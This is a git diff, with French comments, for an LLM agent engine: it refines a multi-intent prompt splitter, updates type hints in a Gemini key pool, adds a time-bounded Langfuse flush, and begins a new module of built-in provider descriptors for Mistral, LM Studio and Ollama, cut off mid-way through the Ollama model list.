@@ -23,23 +22,76 @@ # Patterns de séparation multi-intent (conjonctions, ponctuation) # ────────────────────────────────────────────────────────────────── -# Conjonctions et délimiteurs indiquant un changement d'intention +# [#T264] Délimiteurs d'ÉNUMÉRATION uniquement. Deux familles ont été retirées +# le 10/08 après une mesure en production : +# +# - `\.\s+(?=[A-ZÉÈÀ])` (point suivi d'une majuscule) découpait sur CHAQUE phrase. +# Une consigne structurée de dix lignes partait en cinq « intents », dont +# « CONTRAINTE : utilise uniquement l'outil read_file » exécutée comme une +# tâche à part entière, et « dans une tâche finale dépendant des trois » +# devenue un intent isolé qui ne dépendait plus de rien. 4 fragments sur 5 +# ont fini en timeout. +# `puis` / `ensuite` ont en revanche été CONSERVÉS, après vérification. Ils +# marquent une séquence, donc une dépendance, alors que les intents partent en +# parallèle (`asyncio.gather`) — c'est une imperfection connue. Mais le rejeu +# des 1304 requêtes réelles montre que les retirer ne change rien (mêmes 3 +# requêtes découpées), tandis que les garder préserve un comportement +# explicitement testé depuis l'origine (`test_pure_helpers.py`). Sur les 1280 +# requêtes courtes du corpus, les 6 seules occurrences de « puis » étaient de la +# prose dictée (« Et puis il y a des œufs d'amour »), déjà neutralisées par la +# garde du verbe orphelin ci-dessous. Retirer ce marqueur aurait donc cassé un +# cas légitime sans rien corriger. _SPLIT_PATTERNS = [ - # Conjonctions coordonnantes fortes + # Conjonctions de séquence (cf. note ci-dessus) r'\bet\s+(?:aussi|ensuite|après|puis)\b', r'\bpuis\b', r'\bensuite\b', r'\baprès\s+(?:ça|cela)\b', - # Conjonctions avec changement de verbe d'action + # Coordination de deux ordres explicites (le verbe d'action suit le « et ») r'\bet\b(?=\s+(?:donne|affiche|montre|allume|éteins|crée|modifie|lis|supprime|lance|vérifie|dis|explique))', - # Délimiteurs de ponctuation (point-virgule, tirets de liste) + # Point-virgule : séparateur d'énumération sans ambiguïté r'\s*;\s*', - r'\s*\.\s+(?=[A-ZÉÈÀ])', # Point suivi d'une majuscule (nouvelle phrase) - # Numérotation (1. ... 2. ... ou - ... - ...) + # Numérotation explicite (1) … 2) … ou 1. … 2. …) r'\s*\d+\)\s+', r'\s*\d+\.\s+(?=[A-Za-zÉÈÀ])', ] +# [#T264] Longueur au-delà de laquelle un prompt n'est PLUS considéré comme une +# liste de courses mais comme une consigne structurée, qu'il ne faut pas hacher. +# Calibré sur 1304 requêtes réelles de production (vocal_audit_log + sessions) : +# médiane 30 caractères, p90 = 51, p99 = 351. Seules 28 requêtes dépassent 200 +# caractères, et ce sont des prompts à contexte injecté (« Question utilisateur : +# … Données récupérées : … ») — jamais des demandes multiples. Le seuil laisse +# donc éligible l'écrasante majorité du trafic réel tout en excluant la prose. +LONGUEUR_MAX_DECOUPAGE = 250 + +# [#T264] Un fragment qui RENVOIE à un autre n'est pas autonome : le découper le +# prive de son référent. Si l'un des fragments en contient un, le prompt est un +# tout structuré et n'est pas découpé. +# Pas de `\bleurs?\b` nu : en français c'est surtout le possessif (« leur +# anniversaire », « leurs enfants ») et ça bloquait des vrais multi-intents +# après un split légitime sur « et » + verbe. On garde seulement l'anaphore +# « leur(s) résultat(s) », déjà couverte au singulier par « le résultat ». +_MARQUEURS_DEPENDANCE = re.compile( + r"\b(?:les trois|les deux|ces (?:trois|deux|fichiers|tâches|taches|résultats|resultats)|" + r"ci-dessus|ci-dessous|précédent|precedent|précédente|precedente|" + r"cette tâche|cette tache|celles-ci|ceux-ci|celle-ci|celui-ci|" + r"le résultat|le resultat|leurs?\s+résultats?|leurs?\s+resultats?|" + r"en découlant|en decoulant|" + r"dépendant|dependant|une fois (?:que|cela|ceci))\b", + re.IGNORECASE, +) + +# [#T264] Une contrainte n'est pas une tâche. Un fragment impératif de contrainte +# exécuté seul produit du travail parasite — mesuré : « CONTRAINTE : utilise +# UNIQUEMENT l'outil read_file » est partie en exécution indépendante. +_MARQUEURS_CONTRAINTE = re.compile( + r"\b(?:contrainte|interdiction|interdit|obligatoire|attention|important|" + r"règle ?:|regle ?:|n'écris|necris|n'exécute|nexecute|ne modifie|ne crée|ne cree|" + r"uniquement|exclusivement|surtout pas|en aucun cas)\b", + re.IGNORECASE, +) + # Domaines sémantiques pour valider que les sous-requêtes sont réellement # des intents distincts (et pas juste des détails du même intent) _DOMAIN_KEYWORDS = { @@ -93,7 +145,7 @@ def __init__(self, min_intent_length: int = 8, max_intents: int = 5): re.IGNORECASE, ) - def split(self, user_prompt: str) -> List[str]: + def split(self, user_prompt: str) -> list[str]: """ Tente de décomposer le prompt en sous-intents distincts. @@ -104,7 +156,23 @@ def split(self, user_prompt: str) -> List[str]: if not user_prompt or len(user_prompt) < self._min_length * 2: return [user_prompt] - # Étape 1 : Découper par les patterns de conjonction + # [#T264] Étape 0 — trois refus AVANT tout découpage. Chacun correspond à + # un dégât mesuré en production le 10/08 (cf. #T264). + if len(user_prompt) > LONGUEUR_MAX_DECOUPAGE: + logger.debug( + f"[INTENT SPLITTER] Prompt de {len(user_prompt)} caractères " + f"(> {LONGUEUR_MAX_DECOUPAGE}) : consigne structurée, pas de découpage." + ) + return [user_prompt] + + if _MARQUEURS_CONTRAINTE.search(user_prompt): + logger.debug( + "[INTENT SPLITTER] Contrainte détectée dans le prompt : " + "découpage refusé (une contrainte n'est pas une tâche)." + ) + return [user_prompt] + + # Étape 1 : Découper par les marqueurs d'énumération candidates = self._split_regex.split(user_prompt) # Nettoyer les fragments vides ou trop courts @@ -116,6 +184,30 @@ def split(self, user_prompt: str) -> List[str]: if len(candidates) <= 1: return [user_prompt] + # [#T264] Étape 1bis — un fragment doit être une PHRASE D'ACTION, pas un + # verbe orphelin. Mesuré sur le trafic réel : « Recherche et liste les + # fichiers du projet » produisait le fragment « Recherche », qui n'a + # aucun objet et part quand même en exécution. Un intent vaut au moins + # un verbe et son complément. + if any(len(fragment.split()) < 3 for fragment in candidates): + logger.debug( + "[INTENT SPLITTER] Fragment trop court pour être une action autonome : " + "pas de découpage." + ) + return [user_prompt] + + # [#T264] Étape 1ter — un fragment qui renvoie à un autre n'est pas + # autonome : le séparer le prive de son référent, et le Planner le + # traite alors hors contexte (c'est ainsi qu'un contrat a exigé la + # création d'un fichier que la consigne interdisait). + for fragment in candidates: + if _MARQUEURS_DEPENDANCE.search(fragment): + logger.debug( + f"[INTENT SPLITTER] Fragment non autonome (« {fragment[:40]}… ») : " + "le prompt est un tout structuré, pas de découpage." + ) + return [user_prompt] + # Étape 2 : Valider que les fragments appartiennent à des domaines différents validated = self._validate_domain_separation(candidates) @@ -132,7 +224,7 @@ def split(self, user_prompt: str) -> List[str]: return result - def _validate_domain_separation(self, fragments: List[str]) -> List[str]: + def _validate_domain_separation(self, fragments: list[str]) -> list[str]: """ Vérifie que les fragments appartiennent à des domaines sémantiques différents. Si tous les fragments sont du même domaine, c'est @@ -141,7 +233,7 @@ def _validate_domain_separation(self, fragments: List[str]) -> List[str]: Returns: Les fragments validés comme intents distincts. """ - fragment_domains: List[Tuple[str, Optional[str]]] = [] + fragment_domains: list[tuple[str, str | None]] = [] for frag in fragments: domain = self._detect_domain(frag) @@ -174,7 +266,7 @@ def _validate_domain_separation(self, fragments: List[str]) -> List[str]: return [m for m in merged if len(m) >= self._min_length] - def _detect_domain(self, text: str) -> Optional[str]: + def _detect_domain(self, text: str) -> str | None: """Détecte le domaine sémantique dominant d'un fragment de texte.""" text_lower = text.lower() scores = {} diff --git a/core/key_pool.py b/core/key_pool.py index 8524ea1..42ef3be 100644 --- a/core/key_pool.py +++ b/core/key_pool.py @@ -18,10 +18,9 @@ - gemini-3.1-flash-lite : 30 RPM, 1M TPM, 1500 RPD """ +import logging import os import time -import logging -from typing import Optional, List, Dict from threading import RLock logger = logging.getLogger("core.key_pool") @@ -37,24 +36,24 @@ class GeminiKeyPool: key = pool.get_free_key() # Retourne la suivante automatiquement paid = pool.get_paid_key() # Clé payante (jamais en rotation) """ - + # Durée de cooldown après un 429 (secondes) COOLDOWN_SECONDS = 65 # 65s > 60s (fenêtre RPM) - + def __init__(self): self._lock = RLock() - + # Clés Free Tier (rotation round-robin) - self._free_keys: List[Dict] = [] + self._free_keys: list[dict] = [] self._current_index = 0 - + # Clé payante (pas de rotation) - self._paid_key: Optional[str] = None - self._paid_project: Optional[str] = None - + self._paid_key: str | None = None + self._paid_project: str | None = None + # Charger les clés depuis les variables d'environnement self._load_keys() - + def _load_keys(self): """Charge toutes les clés API depuis les variables d'environnement.""" # Clés Free Tier (rotation round-robin) @@ -67,7 +66,7 @@ def _load_keys(self): ("GEMINI_API_KEY_5", "ha-delta"), ("GEMINI_API_KEY_6", "Gemini Project 6"), ] - + for env_var, project_name in free_key_configs: key = os.environ.get(env_var, "").strip() if key: @@ -79,14 +78,14 @@ def _load_keys(self): "rate_limited_until": 0.0, # timestamp de fin de cooldown "total_429s": 0, }) - + # Clé payante (unique, pas de rotation) self._paid_key = os.environ.get("GEMINI_PAYANT_API_KEY", "").strip() or None self._paid_project = "gen-lang-client-0619520185" - + self._paid_backup_key = None # Plus de backup payant (converti en Free Tier) self._paid_backup_project = None - + paid_count = sum(1 for k in [self._paid_key, self._paid_backup_key] if k) logger.info( f"[KeyPool] Initialisé : {len(self._free_keys)} clés Free Tier" @@ -94,18 +93,18 @@ def _load_keys(self): ) for i, kd in enumerate(self._free_keys): logger.info(f" [{i}] {kd['env_var']} → {kd['project']}") - + @property def free_key_count(self) -> int: """Nombre total de clés Free Tier configurées.""" return len(self._free_keys) - + @property def has_paid_key(self) -> bool: """Indique si une clé payante est disponible.""" return self._paid_key is not None - - def get_free_key(self, allow_cooldown: bool = True) -> Optional[str]: + + def get_free_key(self, allow_cooldown: bool = True) -> str | None: """Retourne la prochaine clé Free Tier disponible (pas en cooldown). Algorithme : @@ -173,15 +172,15 @@ def seconds_until_available(self) -> float: now = time.time() soonest_until = min(k["rate_limited_until"] for k in self._free_keys) return max(0.0, soonest_until - now) - - def get_paid_key(self) -> Optional[str]: + + def get_paid_key(self) -> str | None: """Retourne la clé payante principale (pas de rotation).""" return self._paid_key - - def get_paid_backup_key(self) -> Optional[str]: + + def get_paid_backup_key(self) -> str | None: """Retourne la clé payante de backup (si la principale est en erreur).""" return self._paid_backup_key - + def report_rate_limit(self, key: str): """Signale un rate-limit (429) sur une clé → cooldown automatique. @@ -198,7 +197,7 @@ def report_rate_limit(self, key: str): f"({self.COOLDOWN_SECONDS}s). Total 429s: {kd['total_429s']}" ) return - + def report_success(self, key: str): """Signale un succès sur une clé (réinitialise le cooldown si nécessaire).""" with self._lock: @@ -208,7 +207,7 @@ def report_success(self, key: str): if kd["rate_limited_until"] > 0: kd["rate_limited_until"] = 0.0 return - + def get_stats(self) -> dict: """Retourne les statistiques du pool de clés.""" now = time.time() @@ -224,7 +223,7 @@ def get_stats(self) -> dict: "cooldown_remaining_s": round(cooldown_remaining, 0), "available": cooldown_remaining == 0, }) - + return { "free_keys": free_stats, "free_key_count": len(self._free_keys), @@ -238,7 +237,7 @@ def get_stats(self) -> dict: # ── Singleton global ────────────────────────────────────────── -_pool: Optional[GeminiKeyPool] = None +_pool: GeminiKeyPool | None = None def get_key_pool() -> GeminiKeyPool: """Retourne le singleton du pool de clés.""" diff --git a/core/langfuse_bridge.py b/core/langfuse_bridge.py index 097e63b..33f9430 100644 --- a/core/langfuse_bridge.py +++ b/core/langfuse_bridge.py @@ -8,13 +8,13 @@ Variables d'environnement requises (optionnelles) : LANGFUSE_PUBLIC_KEY — Clé publique du projet Langfuse LANGFUSE_SECRET_KEY — Clé secrète du projet Langfuse - LANGFUSE_HOST — URL du serveur Langfuse (ex: http://${LMSTUDIO_HOST:-localhost}:3000) + LANGFUSE_HOST — URL du serveur Langfuse (ex: http://${LM_STUDIO_HOST:-192.168.1.x}:3000) """ -import os import logging +import os import time -from typing import Optional, Dict, Any +from typing import Any logger = logging.getLogger(__name__) @@ -36,35 +36,35 @@ class LangfuseBridge: bridge.end_span(span, "success") bridge.end_trace(trace) """ - + _instance = None - + @classmethod def get_instance(cls) -> 'LangfuseBridge': """Retourne l'instance singleton du bridge.""" if cls._instance is None: cls._instance = cls() return cls._instance - + def __init__(self): """Initialise le client Langfuse si les clés sont disponibles.""" self._client = None self._enabled = False - self._active_traces: Dict[str, Any] = {} # session_id → trace - self._active_spans: Dict[str, Any] = {} # agent_name → span - + self._active_traces: dict[str, Any] = {} # session_id → trace + self._active_spans: dict[str, Any] = {} # agent_name → span + # Tentative d'initialisation public_key = os.environ.get("LANGFUSE_PUBLIC_KEY") secret_key = os.environ.get("LANGFUSE_SECRET_KEY") - host = os.environ.get("LANGFUSE_HOST", "http://${LMSTUDIO_HOST:-localhost}:3000") - + host = os.environ.get("LANGFUSE_HOST", "http://${LM_STUDIO_HOST:-192.168.1.x}:3000") + if not public_key or not secret_key: logger.info( "[LANGFUSE] Variables LANGFUSE_PUBLIC_KEY / LANGFUSE_SECRET_KEY non définies. " "Bridge désactivé (mode no-op). Pour activer, ajoutez les clés dans .env" ) return - + try: from langfuse import Langfuse self._client = Langfuse( @@ -81,15 +81,15 @@ def __init__(self): ) except Exception as e: logger.error(f"[LANGFUSE] Erreur lors de l'initialisation : {e}") - + @property def enabled(self) -> bool: """True si le bridge est actif et connecté à Langfuse.""" return self._enabled - + # ─── Traces (= sessions d'exécution) ─── - - def start_trace(self, session_id: str, objective: str, user_id: str = "moteur-ia") -> Optional[Any]: + + def start_trace(self, session_id: str, objective: str, user_id: str = "moteur-ia") -> Any | None: """ Démarre une trace Langfuse pour une session d'exécution. @@ -103,7 +103,7 @@ def start_trace(self, session_id: str, objective: str, user_id: str = "moteur-ia """ if not self._enabled: return None - + try: trace = self._client.trace( name=f"session-{session_id[:8]}", @@ -118,7 +118,7 @@ def start_trace(self, session_id: str, objective: str, user_id: str = "moteur-ia except Exception as e: logger.warning(f"[LANGFUSE] Erreur start_trace : {e}") return None - + def end_trace(self, session_id: str, status: str = "success", output: str = None): """ Termine une trace Langfuse. @@ -130,7 +130,7 @@ def end_trace(self, session_id: str, status: str = "success", output: str = None """ if not self._enabled: return - + trace = self._active_traces.pop(session_id, None) if trace: try: @@ -141,10 +141,10 @@ def end_trace(self, session_id: str, status: str = "success", output: str = None logger.debug(f"[LANGFUSE] Trace terminée pour session {session_id[:8]} ({status})") except Exception as e: logger.warning(f"[LANGFUSE] Erreur end_trace : {e}") - + # ─── Spans (= agents) ─── - - def start_span(self, session_id: str, agent_name: str) -> Optional[Any]: + + def start_span(self, session_id: str, agent_name: str) -> Any | None: """ Démarre un span Langfuse pour un agent au sein d'une trace. @@ -157,12 +157,12 @@ def start_span(self, session_id: str, agent_name: str) -> Optional[Any]: """ if not self._enabled: return None - + trace = self._active_traces.get(session_id) if not trace: logger.debug(f"[LANGFUSE] Pas de trace active pour session {session_id[:8]} — span ignoré") return None - + try: span = trace.span( name=agent_name, @@ -180,7 +180,7 @@ def start_span(self, session_id: str, agent_name: str) -> Optional[Any]: except Exception as e: logger.warning(f"[LANGFUSE] Erreur start_span : {e}") return None - + def end_span(self, session_id: str, agent_name: str, status: str = "success", output: str = None): """ Termine un span Langfuse pour un agent. @@ -193,7 +193,7 @@ def end_span(self, session_id: str, agent_name: str, status: str = "success", ou """ if not self._enabled: return - + span_key = f"{session_id}:{agent_name}" span_data = self._active_spans.pop(span_key, None) if span_data: @@ -210,9 +210,9 @@ def end_span(self, session_id: str, agent_name: str, status: str = "success", ou logger.debug(f"[LANGFUSE] Span terminé : {agent_name} ({status}, {duration:.2f}s)") except Exception as e: logger.warning(f"[LANGFUSE] Erreur end_span : {e}") - + # ─── Generations (= appels LLM) ─── - + def log_generation( self, session_id: str, @@ -241,22 +241,22 @@ def log_generation( """ if not self._enabled: return - + # Chercher le span parent de cet agent span_key = f"{session_id}:{agent_name}" span_data = self._active_spans.get(span_key) - + # Si pas de span, chercher la trace directement parent = None if span_data: parent = span_data["span"] else: parent = self._active_traces.get(session_id) - + if not parent: # Pas de contexte Langfuse actif — enregistrement ignoré silencieusement return - + try: parent.generation( name=f"llm-{model}", @@ -279,24 +279,95 @@ def log_generation( ) except Exception as e: logger.warning(f"[LANGFUSE] Erreur log_generation : {e}") - + # ─── Flush (envoi des données en attente) ─── - + def flush(self): - """Force l'envoi des données en attente vers Langfuse.""" - if self._enabled and self._client: - try: - self._client.flush() - logger.debug("[LANGFUSE] Flush effectué.") - except Exception as e: - logger.warning(f"[LANGFUSE] Erreur flush : {e}") - + """ + Force l'envoi des données en attente vers Langfuse, SANS jamais bloquer. + + [#T272] Le client Langfuse est synchrone et son `flush()` n'a pas de + borne de temps : quand le réseau ne répond pas, l'appel attend — et toute + la fin de session avec lui, puisque `Engine._finalize_session()` appelle + `end_trace()` puis `flush()` à CHAQUE session. + + Mesuré le 11/08 par capture de pile `faulthandler` : la suite de tests + est passée de 16 secondes à plus de 10 MINUTES sur un seul test, bloquée + exactement ici. En test c'était un garde-fou réseau ; en production ce + sera une coupure Internet ou une panne du service. Le `try/except` ne + protégeait de rien — une ATTENTE n'est pas une exception. + """ + self._appel_borne(lambda: self._client.flush(), "flush") + def shutdown(self): - """Ferme proprement le client Langfuse.""" - if self._enabled and self._client: + """Ferme proprement le client Langfuse (borné, cf. `flush`).""" + if not (self._enabled and self._client): + return + + def _fermeture(): + self._client.flush() + self._client.shutdown() + + if self._appel_borne(_fermeture, "shutdown"): + logger.info("[LANGFUSE] Client arrêté proprement.") + + def _appel_borne(self, action, nom: str) -> bool: + """ + [#T272] Exécute `action` dans un thread et n'attend que `_timeout_flush()`. + + Au-delà, on journalise et on rend la main : le thread est `daemon`, il ne + retiendra pas le processus. **De la télémétrie perdue ne vaut pas une + session bloquée** — c'est tout l'arbitrage, et c'est pourquoi le délai + par défaut est court. + + Returns: + True si l'action s'est terminée dans les temps, False sinon. + """ + import threading + + if not (self._enabled and self._client): + return False + + erreur: list[Exception] = [] + + def _executer(): try: - self._client.flush() - self._client.shutdown() - logger.info("[LANGFUSE] Client arrêté proprement.") - except Exception as e: - logger.warning(f"[LANGFUSE] Erreur shutdown : {e}") + action() + except Exception as e: # noqa: BLE001 — remontée au thread appelant + erreur.append(e) + + thread = threading.Thread(target=_executer, name=f"langfuse-{nom}", daemon=True) + thread.start() + thread.join(timeout=self._timeout_flush()) + + if thread.is_alive(): + logger.warning( + f"[LANGFUSE] {nom} abandonné après {self._timeout_flush()}s " + f"(serveur injoignable ?) — la session continue sans attendre." + ) + return False + if erreur: + logger.warning(f"[LANGFUSE] Erreur {nom} : {erreur[0]}") + return False + logger.debug(f"[LANGFUSE] {nom} effectué.") + return True + + @staticmethod + def _timeout_flush() -> float: + """ + [#T272] Délai maximal accordé à un envoi Langfuse. + + Court par défaut (5 s) et c'est délibéré : ce sont des traces + d'observabilité, pas de la donnée métier. Les perdre est un désagrément ; + retarder la fin de chaque session est un défaut de production. + Surchargeable par `MOTEUR_LANGFUSE_FLUSH_TIMEOUT_S`. + """ + brut = os.environ.get("MOTEUR_LANGFUSE_FLUSH_TIMEOUT_S") + if brut: + try: + return max(0.1, float(brut)) + except ValueError: + logger.warning( + f"[LANGFUSE] MOTEUR_LANGFUSE_FLUSH_TIMEOUT_S illisible ({brut!r}) — défaut retenu." + ) + return 5.0 diff --git a/core/llm/builtin_providers.py b/core/llm/builtin_providers.py new file mode 100644 index 0000000..f3a0d39 --- /dev/null +++ b/core/llm/builtin_providers.py @@ -0,0 +1,2079 @@ +""" +core/llm/builtin_providers.py — Plugins provider « internes » (#T231). + +Les ~18 providers historiques ne sont pas des plugins tiers : ils vivent dans le +dépôt. Ils sont donc déclarés ici et chargés SANS `exec_module`, donc sans dépendre +de `MOTEUR_ENABLE_PLUGINS` (ce garde-fou de `core/plugin_registry.py:132` protège de +l'exécution de code arbitraire venu du dossier `plugins/` ; du code déjà présent dans +le dépôt ne pose pas ce risque). + +**Étape 2 : les providers du seed sont convertis** (16 + Mistral, le pilote de +l'étape 1). Les valeurs des descripteurs sont recopiées de `seed_models_db.py` — +l'enregistrement est un upsert seul, jamais destructif. La CURATION est écrite dans +chaque descripteur (`notes`) et justifiée par les trois signaux mesurés le 10/08 : +inventaire live des API (#T243), historique d'appels (`token_usage`), câblage réel +du gateway (`core/llm_gateway.py`). Règle appliquée : est déclaré ce qui est câblé +et/ou appelé ; le stock « offert mais ni câblé ni appelé » n'est pas reconduit en +dormant (il se réajoute ici le jour où un besoin le justifie, ex. #T245). + +Non convertis, assumé : + - `cloud_apis` (TTS/STT/Vision/Translation) — APIs spécialisées hors chat, aucun + transport LLM à construire ; reste sur le chemin historique ; + - `anthropic_gcp`, `flux` — absents du seed (ajouts directs du catalogue + local), et pour ces derniers aucun transport n'existe dans le gateway. + - `github` — RETIRÉ le 11/08/2026 (#T280) : service fermé le 30/07/2026. +""" + +from __future__ import annotations + +import os +from typing import Any + +from core.llm.provider_plugin import ( + AuthSpec, + CredentialsManquantes, + ModelSpec, + ProviderDescriptor, + ProviderPlugin, + verifier_interface_transport, +) + +_NOTES_EXPERIMENT = "Plan Experiment (Gratuit)" + + +def _binaire_cli_present(noms: tuple[str, ...]) -> bool: + """Détection PATH d'un binaire CLI (Antigravity/Claude). + + Les chemins AppData Windows du gateway (`llm_gateway`/`budget_guard`) ne sont + jamais présents sous Linux ; la recherche PATH suffit et couvre les deux + plateformes (le BudgetGuard fait de même depuis #T248). + """ + import shutil + return any(shutil.which(nom) for nom in noms) + + +class _PluginOpenAICompat(ProviderPlugin): + """Base des plugins à transport OpenAI-compatible. + + Recopie la construction du gateway (`llm_gateway.py::_make_compat`) : base_url + et en-têtes tirés du registre `OPENAI_COMPAT_PROVIDERS` (jamais recopiés en + dur), surcharge d'endpoint DashScope via `DASHSCOPE_BASE_URL` incluse. + """ + + def _build_compat(self, registre_id: str, spec: ModelSpec, cle: str) -> Any: + from core.openai_compat_provider import OPENAI_COMPAT_PROVIDERS, OpenAICompatibleProvider + + config = OPENAI_COMPAT_PROVIDERS.get(registre_id, {}) + base_url = config.get("base_url", "") + if registre_id == "dashscope": + override = os.environ.get("DASHSCOPE_BASE_URL", "").rstrip("/") + if override: + base_url = ( + override + if override.endswith("/chat/completions") + else f"{override}/chat/completions" + ) + classe = OpenAICompatibleProvider + if registre_id == "minimax": + from core.openai_compat_provider import MiniMaxProvider + classe = MiniMaxProvider + transport = classe( + provider_name=registre_id.capitalize(), + base_url=base_url, + api_key=cle, + # `nom_api` et pas `id` : le catalogue peut porter un alias désambiguïsé, + # l'API veut son propre nom (cf. le 404 de `gemma-4-31b-cerebras`). + model=spec.nom_api, + extra_headers=config.get("extra_headers"), + ) + verifier_interface_transport(transport) + return transport + + +class MistralPlugin(ProviderPlugin): + """Provider Mistral AI — transport OpenAI-compatible, auth par clé d'API.""" + + _DESCRIPTEUR = ProviderDescriptor( + id="mistral", + name="Mistral AI API", + # Vocabulaire du catalogue, pas du transport : `models_db.py:1121` filtre + # sur `type IN ('pay_as_you_go', 'free')`. Voir l'avertissement de + # provider_plugin.ProviderDescriptor. + type="pay_as_you_go", + transport="openai_compat", + api_endpoint="https://api.mistral.ai/v1/chat/completions", + auth=AuthSpec( + kind="api_key", + env_var="MISTRAL_API_KEY", + instructions=( + "Créer une clé d'API sur console.mistral.ai (La Plateforme → API Keys), " + "puis la poser dans MISTRAL_API_KEY du .env du moteur." + ), + connect_label="Enregistrer la clé Mistral", + doc_url="https://docs.mistral.ai/getting-started/quickstart/", + ), + confidentiality="training", + cascade_priority=3.8, + notes="Plan Experiment (Gratuit). Excellent en français. Tokenizer optimisé.", + models=( + ModelSpec( + id="mistral-large-latest", + display_name="Mistral Large (latest)", + tier="free", + routing_tier="moyen", + context_input=128000, + context_output=8192, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality="raisonnement", + recommended_use="Raisonnement fort, RAG en français, Tool Calling", + notes=_NOTES_EXPERIMENT, + ), + ModelSpec( + id="codestral-latest", + display_name="Codestral (latest)", + tier="free", + routing_tier="moyen", + context_input=32000, + context_output=8192, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality="code", + recommended_use="Génération de code et FIM", + notes=_NOTES_EXPERIMENT, + ), + ModelSpec( + id="open-mistral-nemo", + display_name="Mistral Nemo (latest)", + tier="free", + context_input=128000, + context_output=8192, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality="agents_lowcost", + recommended_use="Worker rapide en français", + notes=_NOTES_EXPERIMENT, + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials: dict[str, str], model: str | None = None) -> Any: + """Construit le transport OpenAI-compatible pour un modèle Mistral. + + Import local de `OpenAICompatibleProvider` : le module importe httpx et met en + place un pool partagé au chargement, on ne le paie que si un transport est + réellement construit (lire un descripteur reste gratuit et sans effet de bord). + """ + env_var = self.descriptor.auth.env_var or "" + cle = (credentials.get(env_var) or "").strip() + if not cle: + raise CredentialsManquantes( + f"{env_var} absente — provider 'mistral' non construit. " + f"Ajoutez {env_var}=... dans moteur_agents/.env" + ) + + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes( + f"Modèle '{modele}' non déclaré par le provider 'mistral' " + f"(déclarés : {', '.join(sorted(par_id))})." + ) + + from core.openai_compat_provider import OpenAICompatibleProvider + + transport = OpenAICompatibleProvider( + provider_name="Mistral", + base_url=self.descriptor.api_endpoint or "", + api_key=cle, + # `nom_api` et pas `id` : le catalogue peut porter un alias désambiguïsé, + # l'API veut son propre nom (cf. le 404 de `gemma-4-31b-cerebras`). + model=par_id[modele].nom_api, + ) + verifier_interface_transport(transport) + return transport + + +class LMStudioLocalPlugin(ProviderPlugin): + """Provider LM Studio (Local) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='local', + name='LM Studio (Local)', + type='local', + transport='local', + api_endpoint='http://${LM_STUDIO_HOST:-192.168.1.x}:1234/v1/chat/completions', + auth=AuthSpec(kind='none', instructions='Aucune clé : serveur LM Studio sur le LAN (${LM_STUDIO_HOST:-192.168.1.x}:1234).'), + confidentiality='total', + cascade_priority=1.0, + notes='RTX 5070 Ti (16GB VRAM), 9 modèles chargés. Coût zéro, confidentialité totale. Curation étape 2 : Zoo local LM Studio déclaré tel quel (9 modèles) : le contenu est dynamique par nature, la découverte live relève de discover_models. Signal : gemma-4-31b = 17 appels, seul modèle local réellement consommé.', + models=( + ModelSpec( + id='qwen2.5-14b-instruct-1m', + display_name='Qwen 2.5 14B Instruct 1M', + tier='local', + context_input=1000000, + context_output=32768, + supports_tools=True, + supports_json_mode=True, + speciality='agents_locaux', + recommended_use='Tier Léger — agents locaux, RAG confidentiel', + ), + ModelSpec( + id='qwen3-coder-next', + display_name='Qwen 3 Coder Next', + tier='local', + routing_tier='leger', + context_input=131072, + context_output=32768, + supports_tools=True, + speciality='code', + recommended_use='Génération de code local', + ), + ModelSpec( + id='qwen2.5-coder-32b', + display_name='Qwen 2.5 Coder 32B', + tier='local', + context_input=131072, + context_output=32768, + supports_tools=True, + speciality='code', + recommended_use='Refactoring lourd confidentiel', + ), + ModelSpec( + id='gemma-4-31b', + display_name='Google Gemma 4 31B', + tier='local', + routing_tier='leger', + context_input=131072, + context_output=32768, + speciality='polyvalent', + recommended_use='Modèle Google local dense', + ), + ModelSpec( + id='gemma-4-26b-a4b', + display_name='Google Gemma 4 26B MoE (A4B)', + tier='local', + context_input=131072, + context_output=32768, + speciality='polyvalent_rapide', + recommended_use='MoE rapide local — classification', + ), + ModelSpec( + id='gemma-4-e4b', + display_name='Google Gemma 4 E4B', + tier='local', + context_input=131072, + context_output=32768, + speciality='ultra_rapide', + recommended_use='Le plus rapide localement (65 tok/s)', + ), + ModelSpec( + id='qwen3.6-35b-a3b', + display_name='Qwen 3.6 35B MoE (A3B)', + tier='local', + context_input=131072, + context_output=32768, + speciality='polyvalent', + recommended_use='MoE local Qwen (thinking mode)', + ), + ModelSpec( + id='deepseek-coder-v2-lite', + display_name='DeepSeek Coder V2 Lite', + tier='local', + routing_tier='leger', + context_input=131072, + context_output=16384, + speciality='code_rapide', + recommended_use='Code léger rapide', + ), + ModelSpec( + id='nomic-embed-text-v1.5', + display_name='Nomic Embed Text V1.5', + tier='local', + context_input=8192, + speciality='embeddings', + recommended_use='Embeddings airgapped pour RAG', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + from core.llm.providers.deepseek import LMStudioProvider + transport = LMStudioProvider() + verifier_interface_transport(transport) + return transport + + + +class OllamaLocalPlugin(_PluginOpenAICompat): + """Provider Ollama (Local PC) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='ollama_local', + name='Ollama (Local PC)', + type='local', + transport='openai_compat', + api_endpoint='http://127.0.0.1:11434/v1/chat/completions', + auth=AuthSpec(kind='none', instructions='Aucune clé : démon Ollama local (127.0.0.1:11434).'), + confidentiality='total', + cascade_priority=1.1, + notes="Ollama local sur RTX 5070 Ti. Inférence ultra-rapide. Curation étape 2 : 2 modèles du seed + le fine-tune domotique câblé mais absent du catalogue. ollama_pc (LAN ${LM_STUDIO_HOST:-192.168.1.x}) reste hors descripteur : c'est un accès distant au MÊME service, pas un provider distinct.", + models=( + ModelSpec( + id='qwen2.5-coder:7b', + display_name='Qwen 2.5 Coder 7B (Ollama)', + tier='local', + context_input=131072, + context_output=8192, + supports_tools=True, + supports_json_mode=True, + speciality='code', + recommended_use='Génération de code rapide sur GPU RTX', + ), + ModelSpec( + 